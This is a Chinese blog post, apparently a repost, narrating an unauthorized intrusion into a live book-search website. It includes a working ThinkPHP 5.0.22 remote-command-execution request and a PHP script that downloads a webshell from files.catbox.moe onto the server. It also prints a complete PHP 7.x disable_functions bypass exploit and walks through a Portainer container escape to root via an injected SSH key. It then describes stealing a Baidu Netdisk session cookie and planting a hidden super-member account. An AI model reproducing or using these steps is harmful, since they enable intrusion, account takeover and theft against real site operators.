一个搜书网站的渗透原创

admin 2022年10月30日19:39:52一个搜书网站的渗透原创已关闭评论58 views字数 6252阅读20分50秒阅读模式

心血来潮,翻到一个站点,以前简单看了下但是没打~

大保健#

先来一遍 Goby 大保健套餐也没指望能扫到漏洞,重点关注下端口就行

一个搜书网站的渗透原创

  • 22 ssh 端口
  • 80/443 web 端口
  • 888 phpMyadmin 服务端口(宝塔面板默认的 phpMyAdmin 服务端口)
  • 9000 容器管理工具 Portainer 管理端口

ThinkPHP 远程命令执行#

这个站点忘了关 thinkphp 的调试模式,随手瞅瞅就搞出了 thinkphp 的报错页面~

一个搜书网站的渗透原创

thinkphp 5.0.22 存在远程命令执行漏洞,一般的 EXP 长这样,原理就是通过 invokefunction 调用 call_user_func_array 实现远程命令执行,vars 变量表示参数。

GET /index.php?
  s=index/think/app/invokefunction
  &function=call_user_func_array
  &vars[0]=phpinfo
  &vars[1][]=4

值得注意的是,这个网站并没有 index 模块,只有 admin 模块,所以需要将 index 替换为 admin(你问我怎么知道?你去用 thinkphp 开发不就知道了~)

可以执行命令就想办法写个马上去~

https://files.catbox.moe 生成一个大马的直链,写个脚本来下载大马

<?php
$options = array("ssl"=>array("verify_peer"=>false, "verify_peer_name"=>false,));
$context = stream_context_create($options);
$data = file_get_contents("https://files.catbox.moe/z6eajy.php", false, $context);
file_put_contents("/www/wwwroot/export/export/public/i.php",$data);
echo "ok";

下面是完整的数据包:

GET /index.php?
s=admin/think/app/invokefunction
&function=call_user_func_array
&vars[0]=file_put_contents
&vars[1][]=/www/wwwroot/export/export/public/test.php
&vars[1][]=%3C%3Fphp%0A%0A%24options%20%3D%20array(%22ssl%22%3D%3Earray(%22verify_peer%22%3D%3Efalse%2C%20%22verify_peer_name%22%3D%3Efalse%2C))%3B%0A%24context%20%3D%20stream_context_create(%24options)%3B%0A%24data%20%3D%20file_get_contents(%22https%3A%2F%2Ffiles.catbox.moe%2Fz6eajy.php%22%2C%20false%2C%20%24context)%3B%0Afile_put_contents(%22%2Fwww%2Fwwwroot%2Fexport%2Fexport%2Fpublic%2Fi.php%22%2C%24data)%3B%0Aecho%20%22ok%22%3B%0A

上面就表示,将下载大马的脚本存储到/www/wwwroot/export/export/public/test.php` 文件来,文件路径可以通过 ThinkPHP 的报错获得。

我们直接访问 test.php 就可以将大马下载到 /www/wwwroot/export/export/public/i.php

一个搜书网站的渗透原创

接着访问大马~

一个搜书网站的渗透原创

  • Linux 内核是 3.10.0 的,理论上有漏洞,不过不要抱太大希望。
  • PHP 版本是 7.2,禁用了一些命令执行的函数,但是 disable_functions 防不住我们~

PHP 命令执行绕过#

针对 PHP7.0-7.4 的 exp 如下:

<?php












pwn("uname -a");

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); 
            if(!isset($backtrace[1]['args'])) { 
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 
                
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { 
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { 
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(str_repeat('A', 79));

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

执行 id 看了下,不出意外是 www 权限~

一个搜书网站的渗透原创

Linux 内核提权漏洞利用#

使用
脚本
简单探测下,发现一堆疑似存在的漏洞~

不过试了几个没成功,也忘了截图...

其他信息收集#

  • 宝塔面板

    通过文件浏览可以很明显看到这个服务器有宝塔面板的特征

    一个搜书网站的渗透原创

Docker 容器逃逸#

Web 端口研究了半天没什么进展,就跑去看看 9000 端口了

发现他的 Portainer 虽然启动了,但是还没初始化,我就顺路帮他初始化了~

可以看到跑了一堆容器

一个搜书网站的渗透原创

一般情况下 docker 是采用 root 权限运行,宿主机和容器共享 root 用户。

随便进一个容器看下,默认就是 root 权限。

一个搜书网站的渗透原创

我们重新起一个容器,并挂载宿主机 root 目录到容器下的 root 目录

一个搜书网站的渗透原创

本机创建 ssh 公钥和私钥

一个搜书网站的渗透原创

并将公钥写入容器的 /root/.ssh/authorized_keys 文件中,为了避免覆盖原有的 root 公钥,先进行备份。

写入公钥

 echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzpBCqkLEtSxxnVInGWNQf1uQH3ehWZt+YYrT0GJX3yim1UBJS1+xvSwx0Ta3zHFDQZo1Di4pi8m+RQLn9gWMRdQO4z6301+ij0RmDCMuthGsStdbOsgcHVkUj66YrGf5ehMzZR041+5WIn95ALi8vtNPyD1A+OAPwhNqW2c4WKGBcTrgZA+sg6Z0WbGkPe9sGO0OI0GL7qZwm6jtuOJ9YKqIa4dYOWVM1tJX9d8m0wZl8EgpaS4Xio26iTBNxFL0kC0CkQgWkobPlEXF+x/UNWJxhMLdGLqt+TmDqptedy1F9v5yQxkLrUtM0wTJM2Ysvur7+XCdKNdippeLwmlfTAuofw/IJVngq770IlwFu1OP9iGOTGZ8Tu5aFNKRNBhQaXq1jwypqooo3Vy8XYt8ahXSpFqNl8L8i7j8sAg86amkAcmCYuOW9WwJUi/pW3vxJzvz0hejkKEQ60NneZDewe3Cxy4tLs2tTtXJNMcEyDMlHE54KGV7w8znxQJgWho0= "  >> /root/.ssh/authorized_keys

使用私钥进行登录

一个搜书网站的渗透原创

以 root 权限登录成功

一个搜书网站的渗透原创

宝塔面板#

使用 bt 获取宝塔面板登录信息

一个搜书网站的渗透原创

不过这个登录信息始终无法登录,推测修改过密码,使用 history 命令查看历史更改,发现一个修改密码的命令

一个搜书网站的渗透原创

试了下,登录成功。

一个搜书网站的渗透原创

百度网盘#

容器跑的是百度网盘的采集器,不出意外在某个目录找到了百度网盘的 Cookie

一个搜书网站的渗透原创

通过偷天换日之法~替换本地浏览器百度网盘的 Cookie,成功登录他的百度网盘

一个搜书网站的渗透原创

我感觉百度网盘的羊毛都被他薅秃了...

一个搜书网站的渗透原创

百度网盘采集器#

通过删除配置文件进行重新注册登录后台~

一个搜书网站的渗透原创

登录成功

一个搜书网站的渗透原创

将配置文件修改回去,就可以看到会员列表

一个搜书网站的渗透原创

偷摸加个超级会员进去,就可以从前台登录啦~

一个搜书网站的渗透原创

文章来源:ankio.net

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月30日19:39:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一个搜书网站的渗透原创http://cn-sec.com/archives/1379891.html